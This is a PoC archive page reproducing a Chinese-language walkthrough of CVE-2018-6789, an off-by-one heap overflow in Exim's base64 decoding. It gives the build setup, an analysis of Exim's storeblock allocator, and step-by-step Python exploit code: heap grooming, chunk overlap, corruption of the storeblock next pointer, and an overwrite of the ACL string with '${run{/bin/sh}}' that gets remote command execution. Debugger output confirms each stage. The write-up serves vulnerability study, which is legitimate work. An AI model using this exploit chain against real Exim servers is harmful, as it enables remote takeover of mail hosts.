Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2018-6789 PoC — Exim SMTP listener 缓冲区错误漏洞

Source
Associated Vulnerability
Title:Exim SMTP listener 缓冲区错误漏洞 (CVE-2018-6789)
Description:An issue was discovered in the base64d function in the SMTP listener in Exim before 4.90.1. By sending a handcrafted message, a buffer overflow may happen. This can be used to execute code remotely.
Readme
# CVE-2018-6789

## 环境搭建
安装依赖
````shell
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
````
下载旧版本的exim
```shell
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
````
然后修改Local/Makefile
为了方便其中各个文件夹都指向当前目录下
````shell
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
````
这样便于调试
然后编译安装
````shell
make install
````
修改./configure, 直接用下面内容覆盖
````
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
  .ifdef CHECK_MAIL_HELO_ISSUED
  deny
    message = no HELO given before MAIL command
    condition = ${if def:sender_helo_name {no}{yes}}
  .endif

  accept

acl_check_data:
  accept

begin authenticators
fixed_cram:
  driver = cram_md5
  public_name = CRAM-MD5
  server_secret = ${if eq{$auth1}{ph10}{secret}fail}
  server_set_id = $auth1
````

## 运行
````shell
./bin/exim -bd -d-receive
````
## 漏洞分析
首先先分析位于base64.c中的patch:
![1](images/1.png)
其中result是base64解码结果存放的buffer,由store_get函数获取
可以发现patch之前的size计算是有问题的,当size属于4n~4n+3的范围里面的时候,计算得到的size的长度是相等的,但是b64decode对于非4的倍数的参数进行解码的时候会多解出一两个字节

比如我们直接发送
```python
auth_md5('Hf'*42)
```
size=0x40\
结果的内存分布:
```shell
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0010 0x711d70  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  │....│....│....│....│
+0020 0x711d80  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  │....│....│....│....│
+0030 0x711d90  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 00  │....│....│....│....│
+0040 0x711da0  20 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │.aaa│aaaa│aaaa│aaaa│
```

再试试
```python
auth_md5('Hf'*42+'HfH')
```
size=0x40
```shell
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0010 0x711d70  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  │....│....│....│....│
+0020 0x711d80  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  │....│....│....│....│
+0030 0x711d90  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0040 0x711da0  f1 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │.aaa│aaaa│aaaa│aaaa│
```
溢出了两个字节

## Exim内存管理机制
exim为了提升性能在原有的堆管理机制上自己实现了一套内存管理机制,它相当于处于代码和glibc之间的一个中间缓冲,目的是减少malloc和free的次数
![2](images/2.png)
对于exim来说一个单独的堆块称为storeblock,每次使用时从里面分割出合适大小的缓冲区使用,如果一个storeblock用完了就再malloc一个storeblock。
对于每个storeblock来说,它的结构是一个简单的单链表:
```c
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
  struct storeblock *next;
  size_t length;
} storeblock;
```
程序使用堆的时候主要使用的api在store.c中:
```c
store_get
store_release
store_extend
store_reset
```
其中store_get用于获取缓冲区,关键代码如下:
```c
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145   int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161   /* If there was no free block, get a new one */
162 
163   if (!newblock)
164     {
165     pool_malloc += mlength;           /* Used in pools */
166     nonpool_malloc -= mlength;        /* Exclude from overall total */
167     newblock = store_malloc(mlength);
...

```
可以看到每次申请的store_block最小长度为STORE_BLOCK_SIZE, 即8192

所以一个8192大小的store_block,加上它的结构头部以及堆块头部后总大小为0x2020
![3](images/3.png)

在exim每次执行client发送过来的指令的时候,如果指令执行成功,就会调用store_reset将不需要的缓存、多出来的store_block进行释放\
这里指的执行成功包括指令的格式正确,邮箱不包含非法字符等等,否则不会调用store_reset

## 利用思路
这个漏洞是一个经典的off-by-one(尽管其实可以溢出2个字节),但是由于溢出的字节数较少,无法直接覆盖堆块上的敏感结构,所以这里需要通过一些ptmalloc的特性将这个漏洞的影响扩大,将其转化为一个更大范围的overflow, 或者说overlap\
对于off-by-one的漏洞,有一个经典的利用方法就是chunk enlarge -> chunk overlap, 通过将堆块的size改大,再伪造一个堆头用于bypass glibc sanity check,以此达到堆块的重叠造成更大范围的覆盖。

这里主要的过程就是通过chunk enlarge -> chunk overlap -> corrupt next pointer in storeblock,再触发store_reset造成一个任意堆块的free,再次申请到这个堆块就能对它的内容进行修改(type confusion)。
meh在文章中推荐修改ACL字符串所在的堆块,因为在ACL字串的处理中存在一个命令执行的功能
ACL的字符串非常多,但是大多数都是NULL(可能和配置文件有关),这里我选择的是acl_smtp_mail字符串,其执行命令的语法为
```shell
${run{command}}
```

大概的堆布局如下
![4](images/4.png)

其中第一个堆块是base64解码得到的堆块,用于off-by-one,因此它应该处于一个storeblock的末尾,为了方便起见这里直接申请一个大于0x2020的堆块存放base64解码结果;\
第二个堆块为sender_helo_name,用于覆盖下一个堆块。sender_helo_name不是存在storeblock中,而是直接malloc出来的:
```c
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
```
所以大小随意;\
第三个堆块为base64解码得到的堆块,主要用于伪造头部并被覆盖,因此它应该处于一个storeblock的起始部位,为了方便起见也直接申请0x2020大小。

## Exploit
我的exp也是按照网上别人的分析一步一步得到的,大体思路不变,不过堆的布局和别人有些不一样,所有有些小的参数是不同的

首先先生成一个大小为0x6060的unsortedbin,只需要如下指令就能实现
```python
ehlo('a'*0x1000)
```
当exim接收到"EHLO "+'a'\*0x1000后,会在match.c的match_check_list函数中生成以下三个字符串
```
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
其中*name*为'a'*0x1000
```
由于name的长度为0x1000,所以每个字符串会单独占用一个storeblock,这三个字符串就会分别处于连续的三个storeblock中
当exim成功完成ehlo指令后,会在smtp_in.c的smtp_setup_msg中将前面的三个字符串进行释放,得到一个0x6060大小的堆块:
```c
4369     cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370     smtp_reset(reset_point);
4371     toomany = FALSE;
4372     break;   /* HELO/EHLO */
```
这时候的堆布局如下:
![5](images/5.png)

为了将sender_helo_name置于堆块的中间,我们需要将原来的sender_helo_name释放,然后将顶部的堆块占位,当第二个sender_helo_name占位后,再释放顶部堆块。\
这里我使用的unrecognize command进行占位。因为接收到unrecognize command相当于指令执行失败,再下一次执行执行成功后会自动被释放\
需要注意的是,使用unrecognize command占位的原理是发送给command给exim后,exim会调用synprot_error报错,类似于:
```
79099 LOG: smtp_syntax_error MAIN
  SMTP syntax error in "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
**** debug string too long - truncated ****
```
但是如果command全是可见字符,exim将不会为其malloc新的堆块:
```c
 290 const uschar *
 291 string_printing2(const uschar *s, BOOL allow_tab)
 292 {
 293 int nonprintcount = 0;
 294 int length = 0;
 295 const uschar *t = s;
 296 uschar *ss, *tt;
 297 
 298 while (*t != 0)
 299   {
 300   int c = *t++;
 301   if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
 302   length++;
 303   }
 304 
 305 if (nonprintcount == 0) return s;
 306 
 307 /* Get a new block of store guaranteed big enough to hold the
 308 expanded string. */
 309 
 310 ss = store_get(length + nonprintcount * 3 + 1);
 ...
```
若command里面包含不可见字符,那么exim会申请一个新的buffer,并且将其中的不可见字符转为8进制字符串,比如'\xee'->"\\356", 这就是length + (nonprintcount * 3 + 1)的来历

所以先将sender_ehlo_name放到一个小的堆块,然后尝试发送0x800个'\xee',这会申请0x800 + 1 + 0x800 * 3=0x2001,当前的storeblock中没有这么大的位置,所以会申请一个新的store_block
```python
ehlo('b'*0x20)
unrec('\xee'*0x800)
```
![6](images/6.png)

然后申请一个0x2010大小的sender_elho_name:
```python
ehlo('x'*0x2020)
```
这样会先把原先0x20的sender_elho_name释放掉:
```c
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
1838 
1839 /* Discard any previous helo name */
1840 
1841 if (sender_helo_name != NULL)
1842   {
1843   store_free(sender_helo_name);
1844   sender_helo_name = NULL;
1845   }
...
```
然后申请一个新的sender_helo_name,当一切完成后,调用store_reset清除不需要的堆块,这样0x2020大小的error message会被free,并且和上面的已经被释放的sender_helo_name发生malloc_consolidate形成一个0x2050大小的新的堆块:
![7](images/7.png)

这样堆布局基本就算完成了,接下来直接占位以及触发漏洞
```python
payload = "d"*(0x2020+0x30-0x18-1)
auth_md5(b64encode(payload)+"EfE")
```
占位顶部的堆块,溢出一个字节将size 0x2021改为0x20f1
然后占位最下面的堆块,伪造一个0x1f61的size,使其指向下一个堆块
```python
payload2 = 'm'*0x38+p64(0x1f61) 
auth_md5(b64encode(payload2))
```
这里再申请一个堆块,因为不然的话被覆盖的storeblock是最后一个storeblock,next为null
```python
auth_md5(b64encode('a'*0x1000))
```

这时候可以释放sender_helo_name来造成chunk overlap了。不过这里有一个点需要注意,因为我们还需要最下面那个堆块来提供next指针(我们覆盖它来达到任意地址free),所以我们并不希望这个堆块被free,所以可以构造一个无效的name来仅仅释放sender_helo_name:
```c
2079 static int
2080 smtp_setup_batch_msg(void)
2081 {
2082 int done = 0;
2083 void *reset_point = store_get(0);

...
3998     HELO_EHLO:      /* Common code for HELO and EHLO */
3999     cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
4000     cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
4001 
4002     /* Reject the HELO if its argument was invalid or non-existent. A
4003     successful check causes the argument to be saved in malloc store. */
4004 
4005     if (!check_helo(smtp_cmd_data))
4006       {
...
4022       break;
4023       } 
```
如果check_helo不通过,那么程序会跳出这个循环而不会调用store_reset,那么再来看看check_helo的代码逻辑:
```c
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
...
1870   /* Non-literals must be alpha, dot, hyphen, plus any non-valid chars
1871   that have been configured (usually underscore - sigh). */
1872 
1873   else if (*s)
1874     for (yield = TRUE; *s; s++)
1875       if (!isalnum(*s) && *s != '.' && *s != '-' &&
1876           Ustrchr(helo_allow_chars, *s) == NULL)
1877         {
1878         yield = FALSE;
1879         break;
1880         }
...
1885 return yield;
1886 }
```
可以看到check_helo对发送来的字符进行了一些检查,包括必须是字母或者一些标点符号,或者是helo_allow_chars,不过一般helo_alow_chars是空,这个应该是在配置文件里面配置的。
所以我们可以构造一个带空格的sender_helo_name:
```python
ehlo('pwn it!')   #must include some invalide chars
```

这样就造成了堆块的重叠。
然后是占位这个堆块来覆写next指针指向acl字符串所在的堆块。这里有个问题,其它的exp利用了部分覆盖来绕过aslr,但是这个在我的环境里面行不通, 因为acl堆块和next指向的堆块相距甚远
```
pwndbg> tel 0x7214c0+0x2030
00:0000│   0x7234f0 ◂— 0x0
01:0008│   0x7234f8 ◂— 0x2021 /* '! ' */
02:0010│   0x723500 —▸ 0x728510           <== next
03:0018│   0x723508 ◂— 0x2000

pwndbg> tel 0x6f7990                      <== acl chunk
00:0000│   0x6f7990 ◂— 0x30 /* '0' */
01:0008│   0x6f7998 ◂— 0x2021 /* '! ' */
02:0010│   0x6f79a0 —▸ 0x7264f0 —▸ 0x72e5f0 —▸ 0x730640 —▸ 0x732660 ◂— ...
03:0018│   0x6f79a8 ◂— 0x2000
04:0020│   0x6f79b0 ◂— 0x7a7a2f656d6f682f ('/home/zz')
05:0028│   0x6f79b8 ◂— 0x76632f4156452f78 ('x/EVA/cv')
06:0030│   0x6f79c0 ◂— 0x362d383130322d65 ('e-2018-6')
07:0038│   0x6f79c8 ◂— 0x6d6978652f393837 ('789/exim')

```

所以我的exp采用的绝对地址
```python
payload3 = 'y'*0x2010 + p64(0) + p64(0x2021) + p64(acl_string_block+0x10) +p64(0x2008)
auth_md5(b64encode(payload3))
```

这样子将acl_string所在的堆块加入了这个store_block的链,当我们更换一个sender_helo_name后,这些堆块都会在store_reset中被free。
所以这次要发送一个合法的名称:
```python
ehlo('I'*16)
```
这次再申请一个堆块就能申请到acl string所在的堆块了:
```python
payload4='J'*0x60+'${run{/bin/sh}}\x00'
payload4+=((0x500-len(payload4))*'J')
auth_md5(b64encode(payload4))
```
这里我覆盖的是acl_smtp_mail指向的地址。基本上所有的acl的字符串都是在这个堆块里面,因为这些字符串是从configure里面挨个读取出来然后放到store_get得到的缓冲区里面,所以它们都连续存放在这个storeblock之中。
最后调用acl相关的api:
```python
r.sendline('MAIL FROM: <test@163.com>')
```
然后在smtp_setup_msg->acl_check->acl_check_internal->expand_string->expand_cstring->expand_string_internal->child_open->child_open_uid中调用execve来执行run里面的命令,下面是服务端的调试信息可以看到指令确实被执行了
![8](images/8.png)

## Reference
https://medium.com/@straightblast426/my-poc-walk-through-for-cve-2018-6789-2e402e4ff588
https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →